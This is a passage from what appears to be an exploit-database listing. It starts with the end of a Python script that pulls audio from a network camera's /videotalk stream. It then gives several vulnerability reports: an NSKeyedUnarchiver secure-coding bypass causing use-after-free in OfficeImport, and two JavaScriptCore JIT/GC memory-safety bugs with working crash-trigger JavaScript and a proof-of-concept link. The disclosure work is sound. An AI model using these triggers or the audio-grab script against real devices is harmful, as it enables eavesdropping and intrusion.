sock.connect((args.ip, args.port)) print "[+] Connected!" request = ('GET /videotalk HTTP/1.1\r\n' + 'Host: ' + args.ip + ':' + str(args.port) + '\r\n' + 'Range: bytes=0-\r\n' + '\r\n') sock.sendall(request) status = '' header = '' # read in the HTTP response. Store the status. while (header != '\r\n'): header = header + sock.recv(1); if (header.find('\r\n') > 0): header = header.strip() if (len(status) == 0): status = header header = '' if (status.find('200 OK') == -1): print '[-] Bad HTTP status. We received: "' + status + '"' sock.close() exit() else: print '[+] Downloading ' + str(args.bytes) + ' bytes of audio ...' total_audio = '' while (len(total_audio) < args.bytes): # read in the header length header_length = recv_all(sock, 4) hlength = struct.unpack("I", header_length)[0] if (hlength != 36): print '[-] Unexpected header length' sock.close() exit() # read in the header and extract the payload length header = recv_all(sock, hlength) plength = struct.unpack_from(">H", header)[0] if (plength != 368): print '[-] Unexpected payload length' sock.close() exit() # there is a seq no in the header but since this is over # tcp is sort of useless. dhav = header[2:6] if (dhav != "DHAV"): print '[-] Invalid header' exit(0) # extract the audio. I'm really not sure what the first 6 bytes are # but the last 8 serve as a type of trailer whatami = recv_all(sock, 6) audio = recv_all(sock, plength - hlength - 12) trailer = recv_all(sock, 8) if (trailer != 'dhavp\x01\x00\x00'): print '[-] Invalid end of frame' sock.close() exit() total_audio = total_audio + audio sys.stdout.write('\r'+ str(len(total_audio)) + " / " + str(args.bytes)) sys.stdout.flush() print '' print '[+] Finished receiving audio.' print '[+] Closing socket' out_file = open(args.output, 'wb') out_file.write(total_audio) out_file.close() sock.close()
  23. When deserializing NSObjects with the NSArchiver API [1], one can supply a whitelist of classes that are allowed to be unarchived. In that case, any object in the archive whose class is not whitelisted will not be deserialized. Doing so will also cause the NSKeyedUnarchiver to "requireSecureCoding", ensuring that the archived classes conform to the NSSecureCoding protocol before deserializing them. With that, deserialization of untrusted archives is expected to now be possible in a secure manner. However, a child class of a class in the whitelist will also be deserialized by NSKeyedUnarchiver if one of the following is true (see -[NSCoder _validateAllowedClass:forKey:allowingInvocations:] in Foundation.framework for the exact logic): * It implements initWithCoder: and supportsSecureCoding, and calling the supportsSecureCoding method returns true * It doesn't implement initWithCoder and the first superclass that implements initWithCoder: also implements supportsSecureCoding which returns true In the latter case, deserializing such an object will invoke initWithCoder: of the superclass, which may then end up invoking methods of the child class. One such example is OITSUIntDictionary from the OfficeImport framework. This class inherits from NSDictionary, whose initWithCoder: will be called during unarchiving. Then the following happens: * initWithCoder invokes initWithCapacity: with the number of key-value pairs in the archive. This ends up calling -[OITSUIntDictionary initWithCapacity:] which sets the backing storage for the dict to the result of `CFDictionaryCreateMutable(0LL, v3, 0LL, 0LL)`. Note that neither key- nor value callbacks are provided (arguments #3 and #4). As such, elements stored in the dictionary will not be retained. Presumably, this is because the dictionary is only supposed to store integers which are not reference counted * Next, initWithCoder invokes setObject:forKey for each key-value pair of the archive. This will now store the keys and values in the OITSUIntDictionary *without* retaining them, thus their refcount will still be 1 and they are only kept alive by the NSKeyedUnarchiver instance * Unarchiving finishes, the NSKeyedUnarchiver is destroyed and it releases all its references to the deserialized objects. These objects are then freed and the deserialized OITSUIntDictionary now contains stale pointers. Accessing the elements of the deserialized dictionary then leads to use-after-free issues. The OfficeImport library appears to be loaded by the QuickLook.framework on demand (in _getOfficeImportLibrary()), and QuickLook is loaded into the Springboard process. As such, there might be scenarios in which OfficeImport is loaded in Springboard, making this bug remotely triggerable via iMessage without any user interaction. In any case, any process that has the OfficeImport library loaded and deserializes untrusted NSDictionaries is vulnerable even if secureCoding is enforced during unarchiving. These type of bugs can be found somewhat automatically: the attached IDAPython script, when run in IDA Pro with the iOS dyld_shared_cache loaded, will enumerate all system libraries and determine classes that inherit from one of the whitelisted classes. It then writes a list of all candidates (classes that are allowed to be deserialized by NSKeyedUnarchiver with the whitelists present in iMessage parsing) to disk. Afterwards, these classes can be unarchived by first archiving a valid parent class (e.g. NSDictionary) and replacing the name of the parent class with the name of the child class in the serialized archive, then deserializing the archive again and invoking a few common methods on the resulting object, e.g. "count" or "objectForKey:". With that, the program will potentially crash when deserializing buggy child classes (as is the case for PFArray and OITSUIntDictionary). The attached archiveDict.m program can generate a valid NSDictionary archive, which can then be converted to xml format for easier editing with `plutil -convert xml1 archive`. unarchiveDict.m can afterwards deserialize the archive again into an NSDictionary instance. This approach, however, requires that all libraries loaded in the target process are also loaded in unarchiveDict, or else some of the classes won't be found and can thus not be deserialized. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47189.zip
  24. While fuzzing JavaScriptCore, I encountered the following (modified and commented) JavaScript program which crashes jsc from current HEAD and release (/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc): function v2(trigger) { // Force JIT compilation. for (let v7 = 0; v7 < 1000000; v7++) { } if (!trigger) { // Will synthesize .length, .callee, and Symbol.iterator. // See ScopedArguments::overrideThings [1] arguments.length = 1; } for (let v11 = 0; v11 < 10; v11++) { // The for-of loop (really the inlined array iterator) will fetch the // .length property after a StructureCheck. However, the property fetch // will be hoisted in front of the outer loop by LICM but the // StructureCheck won't. Then, in the final invocation it will crash // because .length hasn't been synthezised yet (and thus the butterfly // is nullptr). for (const v14 of arguments) { const v18 = {a:1337}; // The with statement here probably prevents escape analysis / // object allocation elimination from moving v18 into the stack, // thus forcing DFG to actually allocate v18. Then, LICM sees a // write to structure IDs (from the object allocation) and thus // cannot hoist the structure check (reading a structure ID) in // front of the loop. with (v18) { } } } } for (let v23 = 0; v23 < 100; v23++) { v2(false); } print("Triggering crash"); v2(true); Here is what appears to be happening: When v2 is optimized by the FTL JIT, it will inline the ArrayIterator.next function for the for-of loop and thus produce the following DFG IR (of which many details were omitted for readability): Block #8 (Before outer loop) ... Block #10 (bc#180): (Outer loop) 104:<!0:-> CheckStructure(Check:Cell:@97, MustGen, [%Cp:Arguments], R:JSCell_structureID, Exits, bc#201, ExitValid) 105:< 2:-> GetButterfly(Cell:@97, Storage|UseAsOther, Other, R:JSObject_butterfly, Exits, bc#201, ExitValid) Block #12 (bc#464 --> next#<no-hash>:<0x10a8a08c0> bc#43 --> arrayIteratorValueNext#<no-hash>:<0x10a8a0a00> bc#29): (Inner loop header) 378:< 4:-> GetByOffset(Check:Untyped:@105, KnownCell:@97, JS|PureInt|UseAsInt, BoolInt32, id2{length}, 100, R:NamedProperties(2), Exits, bc#34, ExitValid) predicting BoolInt32 Block #17 (bc#487): (Inner loop body) 267:< 8:-> NewObject(JS|UseAsOther, Final, %B8:Object, R:HeapObjectCount, W:HeapObjectCount, Exits, bc#274, ExitValid) 273:<!0:-> PutByOffset(KnownCell:@267, KnownCell:@267, Check:Untyped:@270, MustGen, id7{a}, 0, W:NamedProperties(7), ClobbersExit, bc#278, ExitValid) 274:<!0:-> PutStructure(KnownCell:@267, MustGen, %B8:Object -> %EQ:Object, ID:45419, R:JSObject_butterfly, W:JSCell_indexingType,JSCell_structureID,JSCell_typeInfoFlags,JSCell_typeInfoType, ClobbersExit, bc#278, ExitInvalid) Eventually, the loop-invariant code motion optimization runs [2], changing graph to the following: Block #8 (Before outer loop) ... 105:< 2:-> GetButterfly(Cell:@97, Storage|UseAsOther, Other, R:JSObject_butterfly, Exits, bc#201, ExitValid) 378:< 4:-> GetByOffset(Check:Untyped:@105, KnownCell:@97, JS|PureInt|UseAsInt, BoolInt32, id2{length}, 100, R:NamedProperties(2), Exits, bc#34, ExitValid) predicting BoolInt32 Block #10 (bc#180): (Outer loop) 104:<!0:-> CheckStructure(Check:Cell:@97, MustGen, [%Cp:Arguments], R:JSCell_structureID, Exits, bc#201, ExitValid) Block #12 (bc#464 --> next#<no-hash>:<0x10a8a08c0> bc#43 --> arrayIteratorValueNext#<no-hash>:<0x10a8a0a00> bc#29): (Inner loop header) Block #17 (bc#487): (Inner loop body) 267:< 8:-> NewObject(JS|UseAsOther, Final, %B8:Object, R:HeapObjectCount, W:HeapObjectCount, Exits, bc#274, ExitValid) 273:<!0:-> PutByOffset(KnownCell:@267, KnownCell:@267, Check:Untyped:@270, MustGen, id7{a}, 0, W:NamedProperties(7), ClobbersExit, bc#278, ExitValid) 274:<!0:-> PutStructure(KnownCell:@267, MustGen, %B8:Object -> %EQ:Object, ID:45419, R:JSObject_butterfly, W:JSCell_indexingType,JSCell_structureID,JSCell_typeInfoFlags,JSCell_typeInfoType, ClobbersExit, bc#278, ExitInvalid) Here, the GetButterfly and GetByOffset operations, responsible for loading the .length property, were moved in front of the StructureCheck which is supposed to ensure that .length can be loaded in this way. This is clearly unsafe and will lead to a crash in the final invocation of the function when .length is not "synthesized" and thus the butterfly is nullptr. To understand why this happens it is necessary to look at the requirements for hoisting operations [3]. One of them is that "The node doesn't read anything that the loop writes.". In this case the CheckStructure operation reads the structure ID from the object ("R:JSCell_structureID" in the IR above) and the PutStructure writes a structure ID ("W:JSCell_indexingType,JSCell_structureID,JSCell_typeInfoFlags,JSCell_typeInfoType") as such the check cannot be hoisted because DFG cannot prove that the read value doesn't change in the loop body (note that here the compiler acts conservatively as it could, in this specific instance, determine that the structure ID being written to inside the loop is definitely not the one being read. It doesn't do so and instead only tracks abstract "heap locations" like the JSCell_structureID). However, as no operation in the loop bodies writes to either the JSObject_butterfly or the NamedProperties heap location (i.e. no Butterfly pointer or NamedProperty slot is ever written to inside the loop body), LICM incorrectly determined that the GetButterfly and GetByOffset operations could safely be hoisted in front of the loop body. See also https://bugs.chromium.org/p/project-zero/issues/detail?id=1775 and https://bugs.chromium.org/p/project-zero/issues/detail?id=1789 for more information about the LICM optimization. I suspect that this issue is more general (not limited to just `argument` objects) and allows bypassing of various StructureChecks in the JIT, thus likely being exploitable in many ways. However, I haven't confirmed that.
  25. While fuzzing JSC, I encountered the following JS program which crashes JSC from current HEAD and release (/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc): // Run with --useConcurrentJIT=false --thresholdForJITAfterWarmUp=10 function fullGC() { for (var i = 0; i < 10; i++) { new Float64Array(0x1000000); } } function v62() { function v141() { try { const v146 = v141(); } catch(v147) { const v154 = Object(); function v155(v156,v157,v158) { try { // This typed array gets collected // but is still referenced from the // value profile of TypedArray.values const v167 = new Uint32Array(); const v171 = v167.values(); } catch(v177) { } } const v181 = v155(); } } v141(); function edenGC() { for (let v194 = 0; v194 < 100; v194++) { const v204 = new Float64Array(0x10000); } } const v205 = edenGC(); } for (let i = 0; i < 6; i++) { const v209 = v62(); } fullGC(); If the loop that calls v62 is run 100 instead of 6 times it will also crash without --thresholdForJITAfterWarmUp=10, albeit a bit less reliable. Running this sample will crash JSC in debug builds with an assertion like this: ASSERTION FAILED: structureIndex < m_capacity Source/JavaScriptCore/runtime/StructureIDTable.h(175) : JSC::Structure *JSC::StructureIDTable::get(JSC::StructureID) 1 0x101aadcf9 WTFCrash 2 0x101aadd19 WTFCrashWithSecurityImplication 3 0x10000cb18 JSC::StructureIDTable::get(unsigned int) 4 0x10000ca23 JSC::VM::getStructure(unsigned int) 5 0x10000c7cf JSC::JSCell::structure(JSC::VM&) const 6 0x10001887b JSC::JSCell::structure() const 7 0x10072fc05 JSC::speculationFromCell(JSC::JSCell*) 8 0x10072fd9f JSC::speculationFromValue(JSC::JSValue) 9 0x1006963dc JSC::ValueProfileBase<1u>::computeUpdatedPrediction(JSC::ConcurrentJSLocker const&) ... The crash is due to a JSValue pointing to a previously freed chunk which will have its JSCell header overwritten. As such, it then crashes when accessing the structure table out-of-bounds with the clobbered structure ID. The JSValue that is being accessed is part of a ValueProfile: a data structure attached to bytecode operations which keeps track of input types that have been observed for its operation. During execution in the interpreter or baseline JIT, input types for operations will be stored in their associated ValueProfile as can e.g. be seen in the implementation of the low-level interpreter (LLInt) [1]. This is a fundamental mechanism of current JS engines allowing optimizing JIT compilers (like the DFG and FTL) to speculate about types of variables in the compiled program by inspecting previously observed types collected in these ValueProfiles. A ValueProfile is implemented by the ValueProfileBase C++ struct: struct ValueProfileBase { ... int m_bytecodeOffset; // -1 for prologue unsigned m_numberOfSamplesInPrediction { 0 }; SpeculatedType m_prediction { SpecNone }; EncodedJSValue m_buckets[totalNumberOfBuckets]; }; Here, m_buckets will store the raw JSValues that have been observed during execution. m_prediction in turn will contain the current type prediction [2] for the associated value, which is what the JIT compilers ultimately rely on. The type prediction is regularly computed from the observed values in computeUpdatedPrediction [3]. This raises the question how the JSValues in m_buckets are kept alive during GC, as they are not stored in a MarkedArgumentBuffer [4] or similar (which automatically inform the GC of the objects and thus keep them alive). The answer is that they are in fact not kept alive during GC by the ValueProfiles themselves. Instead, computeUpdatedPrediction [3] is invoked from finalizeUnconditionally [5] at the end of the GC marking phase and will clear the m_buckets array before the pointers might become dangling. Basically, it works like this: * Observed JSValues are simply stored into ValueProfiles at runtime by the interpreter or baseline JIT without informing the GC about these references * Eventually, GC kicks in and starts its marking phase in which it visits all reachable objects and marks them as alive * Afterwards, before sweeping, the GC invokes various callbacks (called "unconditionalFinalizers") [6] on certain objects (e.g. CodeBlocks) * The CodeBlock finalizers update all value profiles, which in turn causes their current speculated type to be merged with the runtime values that were observed since the last update * Afterwards, all entries in the m_buckets array of the ValueProfiles are cleared to zero [7]. As such, the ValueProfiles no longer store any pointers to JSObjects * Finally, the sweeping phase runs and frees all JSCells that have not been marked For some time now, JSC has used lightweight GC cycles called "eden" collections. These will keep mark bits from previous eden collections and thus only scan newly allocated objects, not the entire object graph. As such they are quicker than a "full" GC, but might potentially leave unused ("garbage") objects alive which will only be collected during the next full collection. See also [8] for an in depth explanation of JSC's current garbage collector. As described above, the function finalizeMarkedUnconditionalFinalizers [6] is responsible for invoking some callback on objects that have been marked (and thus are alive) after the marking phase. However, during eden collections this function only iterates over JSCells that have been marked in the *current* eden collection, not any of the previous ones *. As such, it is possible that a CodeBlock has been marked in a previous eden collection (and is thus still alive), but hasn't been marked in the current one and will thus not be "unconditionally finalized". In that case, its ValueProfile will not be cleared and will still potentially contain pointers to various JSObjects, which, however, aren't protected from GC and thus might be freed by it. This is what happens in the program above: the TypedArray.values function is a JS builtin [9] and will thus be JIT compiled. At the time of the crash it will be baseline JIT compiled and thus store the newly allocated Uint32Array into one of its ValueProfile [10]. Directly afterwards, the compiled code raises another stack overflow exception [11]. As such, the Uint32Array is not used any further and no more references to it are taken which could protect it from GC. As such, the array will be collected during the next (eden) GC round. However, the CodeBlock for TypedArray.values was already marked in a previous eden collection and will not be finalized, thus leaving the pointer to the freed TypedArray dangling in the ValueProfile. During the next full GC, the CodeBlock is again "unconditionally finalized" and will then inspects its m_buckets, thus crashing when using the freed JSValue. The infinite recursion and following stack overflow exceptions in this sample might be necessary to force a situation in which the newly allocated Uint32Array is only stored into a profiling slot and nowhere else. But maybe they are also simply required to cause the right sequence of GC invocations.